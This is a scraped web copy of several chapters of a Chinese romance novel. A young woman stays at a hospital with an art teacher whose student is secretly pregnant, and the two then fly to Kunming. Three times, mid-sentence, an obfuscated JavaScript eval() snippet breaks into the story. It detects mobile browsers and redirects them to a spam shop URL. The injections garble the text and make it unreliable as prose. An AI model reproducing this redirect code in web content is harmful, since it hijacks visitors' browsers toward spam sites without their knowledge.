赵嘉儿由着她在那边撒娇卖萌,内心毫无波澜。在赵贤儿喋喋不休地跟她唠叨了许多有的没的,她听到楼下熟悉的汽笛声,忙趴在窗台上向下张望,民宿大楼前缓缓停下的车正是老板家里的白色奥迪。 老板与廖书言相继下车,她没看到沈梦,心中毕竟有些担忧,急急地朝电话那头说道:“姐,我这边有事,先不跟你说了!” “喂——” 赵嘉儿挂断电话,飞快地跑下楼,在楼道遇到大步上楼的廖书言,她喘过一口气,关切地询问道:“廖老师,沈梦同学怎样了?” 廖书言有些诧异,走到她跟前,神色凝重:“急性阑尾炎,医生说要做手术,要家长签字才行。我已通知她的家长前来,今晚我得去医院陪着,你……” “我……能去么?”情急之下,赵嘉儿抓住廖书言的胳膊,一脸真诚,“这一路上,她帮了我许多,我……” 廖书言望进她闪着微光的双眼里,笑道:“可以。你回屋带上洗漱用品和换洗衣服,然后在楼下等我。” 廖书言将沈梦的情况向聚在一间房间里的学生简要说明了一下,又叮嘱了回程的注意事项,这才单肩挎着黑色背包下了楼。 他依旧是借了民宿老板的车,在开往医院的路上,他与赵嘉儿之间并没有过多的交流。 沈梦的家人从南京过来需要一段时间,没有家属签字,医院也不愿这个时候动手术,只能采取抗炎、补液治疗。 赵嘉儿见到病床上疼得脸色惨白的沈梦,有些心疼。 虽然相处的时间很短,但是,她认识的沈梦,永远充满活力,热情又真诚。面对不太熟悉的人,她也不知道怎么去安慰,见到沈梦的情绪因为廖书言的安慰慢慢恢复平静,她也放心了不少。 沈父沈母赶过来时,已经是晚上七点,向医院了解情况后,沈父大笔一挥便签下了字。 沈梦被送去手术室后,廖书言一直安慰着站在手术室门前低声哭泣的沈母,沈父一脸严肃地坐在医院走廊的座椅上,目空一切。 赵嘉儿斜靠在正对手术室大门的白墙上,脚尖无措地点着地面。 她一直不明白,沈父在向医生询问沈梦的病情时,为何要避着人。 她总觉得沈父对待女儿的态度有些怪异,沈父太过冷静,甚至有些冷漠。 手术室的灯一直亮着,赵嘉儿已站得双腿发酸。她很想过去沈父那边的座椅上坐下,可又觉得沈父看人的眼神太过阴沉,她只能继续靠墙站着。 廖书言扶着情绪渐渐平复的沈母坐到沈父身边后,便向她走来。 他盯着她不断交换站立的双腿,问了一句:“怎么不过去坐着?” 赵嘉儿低头道:“我喜欢站着。” 廖书言与她并排靠在墙上,看着手术室紧闭的门,声音已有些疲惫:“医院还有闲置的病房,我提前预定了一间,晚上在那儿将就一晚。” 赵嘉儿心不在焉地“嗯”了一声,廖书言突然从口袋里掏出一盒黑巧克力:“晚上没吃饭,我身上只有这个,先吃这个压压。手术结束后,带你出去吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227862|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 赵嘉儿埋头接了过来,含糊不清地道了一声谢:“谢谢。” 手术很成功。 沈梦被送到独立的VIP病房后,沈母早已迫不及待地冲了进去,沈父却是慢腾腾地跟在后边。在病房门口,赵嘉儿正要进病房探望探望手术后的沈梦,沈父突然回身将她与廖书言拦在了门外。 “小女已经没事了,也不用麻烦廖老师和这位小姐了。” 赵嘉儿不喜他这样冷淡又无礼的态度,廖书言已经将她拉到身后,态度谦卑地向沈父说道:“那我们便不叨扰了。” 门后,沈梦虚弱的声音响起:“爸,你不能这样对廖老师……” 沈父回头,威严阴冷的眼神扫向沈梦,沈梦微微瑟缩一下,只能含着泪眼看着廖书言。 赵嘉儿愈发觉得蹊跷,亦步亦趋地跟在廖书言身后走出了医院。 夏夜的风里夹杂着冰凉的雨点,赵嘉儿见廖书言直挺挺地立在细雨里,小跑上前,道:“廖老师,下雨了,还出去吃么?” 廖书言低头默默瞅着她,看到她发梢沾了雨,适才回过神:“叫外卖吧。” 廖书言并未回医院,而是带着赵嘉儿来到医院前边大草坪的亭子里。 赵嘉儿发现廖书言今晚的情绪一直很沉闷,联想到沈家的态度,她鼓起勇气问道:“廖老师,我能问您一个问题么?” 雨丝在空中斜斜飞舞,草坪上的一盏盏路灯泛着昏黄而微弱的光芒,丝丝缕缕落在廖书言的脸上,愈发显得他不可捉摸。 似乎是豁出去了一般,赵嘉儿也不顾廖书言带着些许探究的眼神,灿烂夺目的双目里闪着光:“沈梦不是急性阑尾炎,是不是?” 廖书言的目光微沉,深深地看着她倔强又明亮的双眸。 “不是,”许久,他才长吁一口气,“她怀孕了。” “啊?”赵嘉儿懵了,“那手术是……” 廖书言望着亭外越下越急的雨,叹道:“她从昨晚便没吃过东西,今早是饿晕过去了。医院检查过后,才知是怀孕了,孩子已经有两个多月。她父亲是政府官员,保守又爱面子,觉得女儿未婚先孕给他丢了脸,在电话里就表示孩子坚决不能留!医院怕得罪了他,只能向外说是急性阑尾炎……我也不是有意骗你。” 赵嘉儿只觉得很不可思议,拧着眉头问道:“孩子的爸爸是谁?” “不知道……”廖书言的手机这时候响了,便朝她笑道,“外卖到了。” 赵嘉儿看着他跑进雨里,挠着脑袋暗自嘀咕了一句:“沈爸爸那么不待见廖老师,怎么感觉廖老师像是孩子爸爸呢?” 赵嘉儿心里存了疑,再怎么看廖书言,都觉得心里怪怪的。 但是,想到短短两天的相处,她也不觉得他是敢做不敢当的人。 医院的病房里充斥着浓浓的消毒水的味道,赵嘉儿没吃下多少饭,就不愿动筷了。廖书言不好逼她,只得激了一句:“浪费粮食,不是个好习惯。” 赵嘉儿嘟着嘴,道:“可我吃不下……” 廖书言严肃地说道:“灾区的难民如今连饭也吃不上。” 赵嘉儿一听,心口一堵,只能放下手机老老实实地吃饭。 廖书言的目光正落在了她放在桌面上的手机屏幕上。 赵嘉儿是被他言语相激,气得忘了退出微信聊天界面,那张被她点开的小男孩照片占据了整个手机屏幕。 廖书言盯着那张照片看了许久,直到手机屏幕黑下来,他才收回目光,望着埋头苦吃的赵嘉儿,眼角眉梢都是笑。 赵嘉儿不由抬头,触到他的目光,身体向后躲了躲,嗫嚅着:“廖老师,您笑什么?” 5. 第5章 画中人(5) 病房的窗子半开着,夜风撩起窗边的白色纱布帘子,雨丝趁乱而入,凉意扑面而来。 雨滴叮叮咚咚,杂乱无章,一如赵嘉儿此时的心绪。 “要关窗么?”廖书言不去回答她的问题,却是盯着她沁满细汗的脸蛋,“你脸上有汗,天气很热?” 赵嘉儿脱口而出:“我是被辣的。” 廖书言有些意外:“我没让人放辣。” 谎言被戳穿,赵嘉儿索性不吱声了。 桌面上的手机不停地震动,来电显示是“姐姐”。 赵嘉儿望一眼对面的廖书言,毫不犹豫地挂断,又将手机扣回到桌上。 廖书言有些奇怪,以为她是避着自己,善解人意地询问道:“我出去?” “不用,廖老师!”赵嘉儿急急出声。 “赵嘉儿!”电话里突然传来赵贤儿又惊又怒的声音,“大晚上的,你跟哪个男人在一块儿呢?” 赵嘉儿惊得起身,看看廖书言,又看看传来赵贤儿声音的手机,只能硬着头皮接起。 她明明挂断了电话,怎么手滑按错了? “姐?”赵嘉儿逃也似的跑到病房外边,低声道,“不是你想的那样,我在医院呢。” 赵贤儿本来准备了一大堆问题来兴师问罪,闻言,立马紧张兮兮地问道:“你怎么在医院呢?一个人在外边要多留意,你个缺心眼、迷糊虫,哪里来的胆子离家出走?姐姐帮你找对象,也是为了你好,你说说我帮你找的对象哪里不好了?我都帮你打听清楚了,人家是书画老师,家世背景都不错,性格应该跟你合得来,就是有一点不好,在外地工作。我今天帮你问了你对象的姐姐,人家看了你的照片,好像很中意你的,你赶紧给我回来,我们两边约个时间地点,你们见个面,我也帮你把把关……” 赵嘉儿郁闷地望着医院长廊的天花板,一下一下点着脚尖,心不在焉地听着赵贤儿苦口婆心的劝说。 赵贤儿的话题又转回来,关切地问道:“嘉儿,你这么晚了,怎么在医院呢?刚才跟你说话的是谁啊?” 赵嘉儿如实答道:“是路上遇到的一个朋友生病住了院,我在这里陪着,刚才说话的是病人的老师。” “哦,”赵贤儿稍稍放下心,仍不忘叮嘱,“在外面要多留个心眼,别被人骗了还帮着人数钱!嗯,那个男老师你也要提防着点,老师里面最多道貌岸然的君子,别让人占了便宜啊!” “好了好了,姐,我知道了,你早点睡,小心长皱纹啊。” 赵嘉儿正要挂断电话,赵贤儿又不忘叮嘱道:“忘了跟你说,你对象是江南艺术学院的老师,姓廖,叫什么来着,我没记住,名字文绉绉的……” 赵嘉儿已不耐烦去听,当先挂断了电话。 但是,赵贤儿最后的话仍是让她诧异了许久。 “江南艺术学院……廖老师?”这个猜测连她自己都吓了一跳,慢慢向病房走去时,她反倒有些踌躇。 廖书言在玻璃窗后看到赵嘉儿徘徊的身影,开门唤道:“赵小姐。” 赵嘉儿受惊般地转身,挠着头,讪讪一笑:“廖老师……” 廖书言歪头打量她片刻,笑道:“时间不早了,走廊尽头有洗手间,你去简单洗漱一下。” 医院的走廊里静悄悄不见人影,只是偶尔有值班的护士走过。赵嘉儿的整颗心都被赵贤儿最后提供的信息占据,脑海中,一旦认定了某个事实,她就深信不疑了。 “真的有那么巧……会是廖老师么?” 赵嘉儿梳洗完,回到病房再见到廖书言,只觉脸颊发烫,浑身不自在。 说实话,她至今还未与不相熟的男子共处一室。 可是,她却偏偏不反感廖书言今晚的安排。 这是一间双人病房,两张病床之间的距离非常近。 赵嘉儿整理好洗漱用品,踟蹰在床边,一会儿挠挠头,一会儿踢踢脚。她很想趁廖书言回来之前躲在被窝里睡着,可现在却是连上床的勇气也失去了。 身后的开门声惊得她浑身紧绷,她僵硬地转过身子,见廖书言仔细地锁好了门,又拉上遮挡玻璃窗的百叶窗帘,整颗心都似在敲锣打鼓。 她发现他洗了头,头发还未干透,白衬衫的袖口卷到了胳膊肘,头发上的水滴落在后背上,隐隐透出了里面的白色背心。 然而,这个时候,她脑中却突然冒出了一个荒诞又大胆的想法。 她想将这个样子的他,拍下来。 这样的想法冒出脑海,赵嘉儿自己也吓了一跳,看到他用干毛巾擦着头发走过来,她又若无其事地将目光放在了自己的脚尖上。 “先前淋了一会雨,身上的衣服有些湿气,不换身衣服睡觉?” “不换!”赵嘉儿突然红了脸。 “我先出去,你换好了叫我,”廖书言一脸温和地看着她,“出门在外,生病了也很麻烦。” 赵嘉儿从背包里翻出干净衣裳换上,目光落在背包里的相机上,脑海里又浮现出廖书言半湿半干的白衬衫,还有那一头带着湿气的短发。 她当时为什么就有那种冲动呢? 是因为想到了陆嘉清么? 她摇摇头,将那样荒诞的想法甩出大脑,拉上背包拉链,却在将背包放到房间的桌面上时,碰翻了廖书言的背包。 他背包的拉链半开着,一本精美画册从中滑了出来。 赵嘉儿吓了一跳,赶忙蹲身将画册小心翼翼地捡了起来。 这是一本个人画册,画页上的红色丹顶鹤吸引住了赵嘉儿的目光,她一页页翻看,心潮澎湃起伏。 因为陆嘉清的缘故,对于国内顶级水墨画家三口老师,她早已耳熟能详,而他笔下的红色丹顶鹤更是别具一格,一幅《母子》曾在境外拍出了将近一亿港币的高价。 三口老师,永远是她与陆嘉清之间最爱谈论的话题。 对于这位低调到无人相识的大画家,赵嘉儿怎么也不会想到,陆嘉清的私人老师会是一名普通的大学书画老师。 不知不觉间,她的眼眶已经湿润。 她怕泪水打湿手中堪比天价的画作,匆匆合上,却又从中看到了熟悉的身影。 在这厚厚一册的水墨画册里,夹页里一幅素描倒显得格格不入。水墨画的是祖国大好河山,素描画的却是站在晨曦里的长裙姑娘,落款处的印章正是“三口画”。 落款处还有用钢笔书写的两行行楷,似乎是后来才添上去的,有些格格不入,却又相得益彰。 一见如故,心生欢喜。 赵嘉儿再不敢细看,将画册放回背包里,脸蛋已有些泛红了。 这种窥探他人隐私秘密的行为,让她羞愧又窘迫。 毕竟,他的秘密,与她有关。 廖书言的手机并没有随身携带着,桌上的手机震动时,赵嘉儿还有些懵。 她犹犹豫豫地看了一眼,是沈梦的来电。 她向紧闭的房门望了一眼,叫一声:“廖老师!” 门外没有人应,赵嘉儿又提高声音叫了一声,依旧没有人回应。她只能拿起手机走过去开了门,门外却没有人。 手中的手机一直在震动,赵嘉儿苦恼地挠挠头,只能硬着头皮接通了电话:“沈梦,廖老师现在不在,你待会……” “我是沈梦的父亲,”电话那头的声音低沉又威严,“你是跟那廖老师一起的小姐吧?” 赵嘉儿咽了一口苦水,回到病房的凳子上坐下:“是我。廖老师不在,等他回来,我让他给您回个电话?” “不用,”沈父道,“我跟你说了,你再转告他,也是一样的。” 赵嘉儿干笑地应了应声。 “小姑娘,我先不管你跟那廖老师是什么关系,但是,他对我女儿身心上造成的伤害,我请你转告他,以后不准他再跟我女儿见面、联系,孩子打掉了,也就没有他什么事了。” 赵嘉儿听得云里雾里,只是提到孩子,她几乎是下意识地脱口而出:“孩子不是廖老师的!” “呵呵,小姑娘是被他骗了吧?”沈父阴沉沉地笑道,“我不追究他的责任,也不会找他麻烦,只是提醒他,这件事到此为止!若是这件事被我们沈家和你们两人之外的任何人知道,他的事业,他的前程……你听明白了么?请将我的这些话转告给他!” “不是……廖老师……” 赵嘉儿试图去解释,沈父冷淡地说了一声:“好了,不打扰你们休息了,晚安。” 电话毫不容情地被挂断,赵嘉儿拧着眉头嘟囔了一句:“什么嘛,咄咄逼人的。” 病房的门被推开,赵嘉儿惊得起身,见到是廖书言,突然有些做贼心虚。 廖书言见到她手中拿着自己的手机,眉梢微微向上一挑:“有人打我电话了?” 赵嘉儿忐忑不安地将手机递了过去,垂着脑袋,似认错般:“我见你不在,本想让那人等你回电话过去的……” “没事,”廖书言笑着从她手里接过手机,“刚才去了一趟洗手间……谁来的电话?” 赵嘉儿依旧垂着脑袋:“沈梦的父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227863|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲。” 廖书言目光一沉,独自走到自己的床位上坐下,一边埋头点着手机,一边轻声问着:“说了什么?没为难你吧?” 她犹犹豫豫地看着他,目光躲闪:“没……我录音了,你可以听一听。” 廖书言找到电话录音的文件夹,犹豫地点了进去。 赵嘉儿与沈父后边谈话的内容,再一次在空旷的房间里响起。 廖书言听了一遍,便放下了手机,转头向赵嘉儿看来:“孩子不是我的。” 赵嘉儿虽不明白他为什么要这样认真地向她解释,但是,仍旧善解人意地回了一句:“我也这样说了……他还威胁您,说要是将这件事透露出去了,您以后可能就有麻烦了。” 廖书言坦然地看着她,笑着问道:“你为什么会相信我?说起来,我们不算太熟。” “这个……”赵嘉儿苦恼极了,揪着耳边垂下来的长发,眨了眨眼睛,“我不小心弄翻了您的背包,看到了画册……那个……您是国内画红鹤的佼佼者,三口大画家。” 廖书言有些惊讶:“就凭这个?” 不止这个。 赵嘉儿不愿去说更深层次的原因。 因为陆嘉清的原因。 陆嘉清口中的三口老师,是儒雅沉稳,极有风度的画家,还是一名低调淡然,富有爱心的慈善家。 这样的人,不会是沈父口中那个侵犯女学生又死不认账的老师。 “嘉儿,”廖书言突然起身走向站在墙角的赵嘉儿,微微倾身,与她的目光平视,嘴角噙着笑,“我可以这样叫你的名字么?” 赵嘉儿不断地躲着他的视线,胡乱地点头答应着:“可以!当然可以!” 廖书言十分喜欢她这副慌乱无措的模样,又问道:“你看了我的画册,除了发现了我的身份,还有没有发现其他的什么?” “没有!”赵嘉儿矢口否认,慌忙从他身旁逃离,一骨碌爬上床钻进了被子里,“廖老师,我困了!” 廖书言叹一口气,从背包内摸出一只小巧的三足小香炉,点上一圈水沉放在赵嘉儿的床头。 赵嘉儿从被窝里露出两只警惕又明亮的眼睛,翻身问道:“廖老师,您点了什么?” 廖书言看她紧张不安的神态,笑道:“屋里消毒水的气味太重,怕你睡不好,点了水沉。” 赵嘉儿神态一松,语气也轻松快意了许多:“廖老师出门还带着这些玩意,大画家的品味就是不一样!” “让你知道了我的秘密,有些吃亏。” 赵嘉儿见他煞有介事的神态,又有些做贼心虚,揪着被角,用商量的口吻征询着:“那我也告诉您一个秘密?” 廖书言熄了灯,语气轻松:“可以。” 窗外有灯光射进来,在白墙上投下片片明亮的光影。 赵嘉儿翻身去看他,在忽明忽暗的光影里,见他正解着衬衫扣子,脸倏地红了,忙将被子拉过了头顶。然而,听到耳边窸窸窣窣的声响,她又忍不住拉下被子,露出两只眼睛去瞅。 光影里,廖书言回头向她的床头看了一眼,笑问:“我脱衣服,你还偷看?” 赵嘉儿忙将头缩进被子里,嗡声嗡气地道:“房间里有女孩子,廖老师干嘛要脱衣服睡?” 廖书言将脱下的白衬衫放在床头的凳子上,穿着白色背心便掀开被子躺下了。扭头望着在被窝里缩成一团的赵嘉儿,他轻声提醒道:“睡觉前,把你的秘密说出来。” 赵嘉儿的脸依旧埋在被子里,有些难为情:“我说了,廖老师别笑话我。” 廖书言笑着应了一声。 “我是为了躲避家里安排的相亲,离家出走,又坐过了站,才阴错阳差地来到了乌镇。” 若非亲近的家人朋友,赵嘉儿总觉得让人知道了她来这里的原因,十分丢脸。 在这个下着雨的夜晚,医院里静悄悄的,房间里那些刺鼻的药水味渐渐被床头的水沉香驱散,一个人的旅途,赵嘉儿不再觉得孤零零的。 因为廖书言与陆嘉清之间的关系,又因为那幅无意中被自己窥探到的素描,陆嘉清失踪带给她的伤害,似乎有了愈合的趋势。 这两年里,逢亲朋好友给她介绍对象,她总是推辞着说:“我有男朋友了!” 可是,陆嘉清消失了两年,她真的有男朋友么? 赵嘉儿久久不见廖书言回应,钻出被子瞧了瞧,小心翼翼地唤了一声:“廖老师?” 廖书言正侧对着她,微微张了张眼,低声应道:“这个,不算。” 6. 第6章 画中人(6) 赵嘉儿傻了眼,蹭地翻身坐起,语气有些委屈:“怎么不算?” 话一出口,她才意识到自己像是在对他撒娇。 与陆嘉清在一起时,她也不会有这样的小女生脾气;而与廖书言短暂的相处,她似乎觉得自己在他面前,像个没长大的小姑娘一样,总会显得手足无措。 她见到咫尺之隔的廖书言眼中光芒闪烁,更觉得没面子,正想故技重施,要钻进被子里躲避,廖书言却伸出赤/裸的胳膊拉住了她的被子。 两个床位间的距离太近,她被迫与廖书言的目光对视,甚至能感受到他轻缓的呼吸。 “别总是拿被子蒙头,不卫生,”廖书言向床侧挪了挪身子,轻轻替她掖好被角,“你陪我守了沈梦同学好几个小时,今晚就先睡吧。欠下的秘密,以后再说。” 隔着被子,他的手掌在她肩头轻轻拍了拍,好似长辈安抚婴孩入睡一般,让她觉得安心。 水沉的香味充满整个病房,在半明半暗的光影里,赵嘉儿缩着肩膀听着廖书言床头渐渐入睡的呼吸声,倦意也一点点袭上心头。 许是水沉有安抚情绪的功效,在异地他乡里的这一觉,她睡得格外踏实。 天气放晴的早晨,医院里似乎也热闹了起来。 赵嘉儿被病房外的声响惊醒,揉了揉惺忪的睡眼,看着窗外湛蓝的天空,才想起自己此时还在医院里。 而廖书言却不见踪影。 手机上显示的时间还不到八点,她锁好门窗,慢腾腾地换好了衣服,正要梳头,病房的门被敲响:“嘉儿。” 这是廖书言征得她同意后,第一次这样叫她,她还有些不适应。 赵嘉儿用手胡乱理了理乱糟糟的长发,顶着才睡醒的双眼去开门。她将身子藏在门后,只露出半截脑袋去迎廖书言。 廖书言今天穿得休闲,白衬衫变成了黑白相间的小格子休闲衬衫,白色休闲鞋配黑色裤子,腰间的皮带依旧是昨日的黑色皮带。 而这一身装扮的廖书言,双手却拿着蓝色的脸盆和贴有医院标签的暖水瓶。 赵嘉儿将人让进房间里,干巴巴地问了一声好:“廖老师早啊!” “不早了,”廖书言见赵嘉儿伸手来接他手中的暖水瓶,便递了过去,“医院这个时候人多,你们女洗手间已经人满为患,你就在房间里洗漱吧。” 赵嘉儿害羞地挠了挠头:“辛苦廖老师了。在家里,我这个时候还在睡觉。” 暖水瓶里是温度正适中的温水,赵嘉儿往盆里倒了一些,先洗了脸,又用剩下的温水刷了牙,脏水一并吐在了洗脸的盆里。 廖书言提着空空的暖水瓶,端着她洗漱后的脏水,便出去了。 再回来时,赵嘉儿已经装扮完毕,正往脸上涂着防晒霜。廖书言就站在她身后,一眨不眨地看着她,她回头,笑嘻嘻地问了一句:“廖老师要不要涂防晒霜?我看今天的太阳应该会很大。” 廖书言笑问:“你们女孩子用的,我能用?” 赵嘉儿嘟着嘴走近他:“这个防晒霜又不分男女——把手伸出来。” 廖书言老老实实照办。 赵嘉儿的指尖带着些许凉意,一下一下,如同猫爪在他手心里挠。 “廖老师自己往脸上抹啊,抹均匀就行了。” 没有夜晚的羞涩慌张,此刻的赵嘉儿活泼天真,与他的距离似乎更近了一些。 他突然有了一种渴望,渴望她能更贴近他一些。 但是,他又怕任何唐突的举止都会吓跑了她。 “沈梦今早被她父母接回南京了,我们在外边吃过早餐,回民宿取了行李直接去云南。南京,以后带你去。” 赵嘉儿整理着床铺,听闻,心里隐隐有些不是滋味,闷闷地应了一声。许久,她还是忍不住问道:“廖老师,我相信您没做过伤害沈梦同学的事,可是,她父亲为什么会一口咬定她怀的是您的孩子?” 廖书言神情晦涩:“吃过早餐,我再讲给你听,行么?” 赵嘉儿不由满腹委屈地道:“这件事悬在心里,我会吃不下饭。” 她能对这件事如此上心,廖书言心里觉得高兴。 她委屈地垂着脑袋的模样,总是格外惹人怜。他叹着气走到她面前,缓缓地道:“我们是艺术学院,招收进来的学生也是艺术生,我教的是素描课,她是插班进来的学生,我本来没在意,哪知她在上了我的第一节课后,便偷偷塞给了我一张纸……是情书。” “学生写给老师的情书?”赵嘉儿瞪大了眼,悄悄瞅着廖书言,“廖老师从小到大是不是经常收到情书?” “还要不要听?”廖书言笑着看她,“再打岔就出去吃早餐。” 赵嘉儿摆正态度,规规矩矩地坐在床沿:“廖老师继续讲,我一定认真听。” 廖书言拿她没办法,只得搬过凳子坐在她对面,道:“期间,她单独找过我许多次。她毕竟是我的学生,为顾及她的面子,我并未将此事声张出去,只是劝了劝她,她也没再纠缠。只是有一天晚上她等在我公寓的楼下,说了一些不合规矩的话,有了不合规矩的想法,我没理她……之后便没在课上见过她了。这次暑期的写生活动,我没想到她会参加。” 赵嘉儿听他用低缓的语调说出这段不为外人所知的师生关系,心惊又心慌。 房间内沉寂了很长一段时间,廖书言一直瞅着垂头不语的赵嘉儿,倾过身子唤了一声:“嘉儿。” 赵嘉儿赫然抬头,撞见他微微含笑的双目,又迅速低下了头,双脚不安地扭动着。 “孩子与我无关,”廖书言温声道,“你也别被这件事影响了旅途的心情。沈家不想声张,我们也不必追究了,好么?” 赵嘉儿道:“我大学里学的是新闻专业,总觉得这事情没那么简单,是有人故意为难您。” 廖书言失声笑道:“你是电视看多了。” “您别不信啊!”赵嘉儿目光灼灼地盯着他,“池小勉要是在的话,他一定能分析得头头是道!” “这件事已经过去了,没有你想得那么复杂,”廖书言起身,将黑色风衣穿上,挎上背包,“我们去吃早餐。” 进入鲁甸的路线并不顺畅,身边有廖书言规划路线,赵嘉儿也落了个浑身松快。 在杭州搭上飞往昆明的飞机上,正值午餐时间,空姐将午餐送来时,赵嘉儿觉得饭菜有些油腻,只喝了几口清水冬瓜汤,便可怜巴巴地看着一旁的廖书言。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227864|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 廖书言看她神情便猜到了缘由,已然发现她有挑食的毛病。他无法,找空姐要了一份菜单,细声询问着一脸生无可恋的赵嘉儿:“看着点你爱吃的。” 赵嘉儿兴致勃勃地接过菜单,突然皱眉道:“我手上的现金好像不够。” “我请你。”廖书言道。 赵嘉儿双手合十,感激地道:“下了飞机,我加你微信,转账给你。” 廖书言笑着,没有回应。 吃饱喝足便犯困。 因气流的因素,飞机一直很颠簸,颠得赵嘉儿睡意全无,反而有些犯恶心。 一股脑儿将中午吃的饭菜吐了出来,她口里泛苦,用水漱了漱口,还是觉得难受。 她几乎不出远门,这是头一次坐飞机,却没想到她居然会晕机。 赵嘉儿惨白着脸趴在桌面上,早已无心去欣赏小窗外的云海。 廖书言抬手轻轻揉着她两侧的太阳穴,问道:“有没有好一些?” 赵嘉儿有气无力地应了一声:“谢谢廖老师。” 她觉得耳朵似乎失聪了,耳边的声音忽大忽小,头也昏沉沉的抬不起来。正难受间,廖书言伸手去扶她的胳膊,在她头顶轻言:“嘉儿,起来,我们换机舱。” 他扶着她走过狭窄的过道,前头的空姐径直将两人带到了空余的头等舱里,舱里的床位已经铺好。 廖书言扶她过去,替她盖上薄被,轻声安抚道:“躺下会好受一些,要是难受了,别憋着,跟我说。” 赵嘉儿却突然哭了出来。 “怎么哭了?”廖书言慌了神。 赵嘉儿哽咽着,含糊不清地说着:“廖老师,你……你不要对我……对我这么好。” 廖书言抬手去擦她脸上的泪,大大方方地看着她,低声道:“你既然看过我的画册了,应该也看到了里边的一幅画像……还要装傻么?” 赵嘉儿断断续续地抽泣着,一双被泪水浸湿的双目无辜又可怜地瞅着廖书言,抽抽噎噎地说不了话。 而廖书言考虑到既然将心里话讲了出来,也不再藏着掖着,从口袋里掏出手机,翻出相册里唯一一张赵嘉儿的照片点开,将手机举到了她面前:“家姐给我安排的相亲对象。” 赵嘉儿的一对秀眉立时蹙起,嘟囔着:“姐姐说的真的是您这个廖老师……” “是我这个廖老师,”廖书言将手机收起,顿了顿,才道,“嘉儿,我没追过女孩子……” 赵嘉儿将被子往脸上遮了遮,小声道:“廖老师,我跟嘉清在一起过,我想找到他,所以……” 廖书言垂下眼帘,深吸一口气:“我明白。” 他有些不甘,又不死心地问道:“若是一直找不着呢?” 赵嘉儿眼里有了光彩,清浅一笑:“不会一直找不着,他会回来的。廖老师这么优秀的人,我……我配不上。” “你身体不舒服,好好休息一下,到昆明有人会来接我们,”廖书言揉着眉心,声音透着萧索疲惫,“你身体有恙,先在昆明歇一宿,再去鲁甸。那边是灾区,你一个人乱走会有危险,要不要先跟着我?” 赵嘉儿犹豫着,缓缓点了点头:“那就还得麻烦廖老师您一段日子了。” 7. 第7章 滇中行(1) 赵嘉儿被廖书言叫醒时,飞机已缓缓地降落在地平线上。 她揉了揉太阳穴,仍然感觉有些头昏脑沉的。 廖书言几次想伸手扶她,伸出了手,又收了回去。见她背起包,他出言提醒道:“飞机降落前,广播里说外边在下雨,天有些凉,你带外套了么?” 赵嘉儿笑着摇了摇头:“没事,我扛得住。” 这一趟出门匆忙,她本也没想过来云南,许多出门必备品也没带。如今正值八月,昆明的气温却比其他城市低了许多,出了机场,她就觉迎面一阵凉意,不由缩了缩肩膀。 雨丝从头而降,她正欲从背包里取出遮阳伞,廖书言从后边追了上来,一把黑色雨伞已撑在了她的头顶。 赵嘉儿回头,又是礼貌的微笑:“谢谢。” 微风吹动她扎起的长发,发丝拂过他的手背,他心念微动。 而赵嘉儿已从背包内取出遮阳伞,扬起头,对着他笑道:“廖老师给自己撑着吧,我带了伞。” 她一手撑伞,一手抱着肩向机场外的出租车停靠点走去。 廖书言默默跟在她身后,挎在胳膊上的风衣沾了些雨。没再多想,他大步上前,伸手去取她肩头的背包。 赵嘉儿惊了一惊,向后躲了两步,抬脚就跑开了。 廖书言有些苦闷。 他突然向她表露心迹,果真吓跑了她。 机场人来人往,赵嘉儿单薄瘦小的身子淹没在人群里,廖书言在各色雨伞下焦急四顾,也没找着她的身影。 他掏出手机在通讯录里找到了她的名字,正要拨过去,一个电话便打了进来。 “书言,还没出机场么?” 廖书言撑伞走到一处出租车停靠点,眼睛依旧向四处张望着,心不在焉地道:“已经出来了,一起来的女孩子与我走散了,我先找她,你再等一等。” 那头突然传来一阵轻笑:“哟,还带了女伴过来呀!行,你先找她,我就在机场东边的大厦前等你们。” “嗯,”廖书言应了一声,又道,“她身体不舒服,先歇一晚,帮忙订个酒店。” “成!包你满意!” 廖书言听他语气暧昧,微微皱了皱眉,正经地提醒了一句:“两间房。” 不等那头说些挖苦他的话,他便挂断了电话,拨通了赵嘉儿的电话。 电话里的嘟嘟声,伴随着雨伞外的雨声,让廖书言心情万分焦急。 许久,赵嘉儿的电话才被接通,电话那头是刺耳的汽笛声,还有她缓缓的呼吸声。 廖书言见她不说话,轻声问了一句:“你在哪儿?” 赵嘉儿站在机场公交站牌下,踢着鞋尖,嘟囔着:“公交站。” 廖书言一听她一个人去了公交站,心底一沉,涩涩地开口:“你一个人不安全,我订了酒店,你先歇一晚,明早跟着红十字会的车去鲁甸,等你跟你朋友碰面了,你就不用见到我了。” 赵嘉儿眼角酸酸的,想哭,又不敢哭,只是抱着手机,不说话。 “嘉儿?” 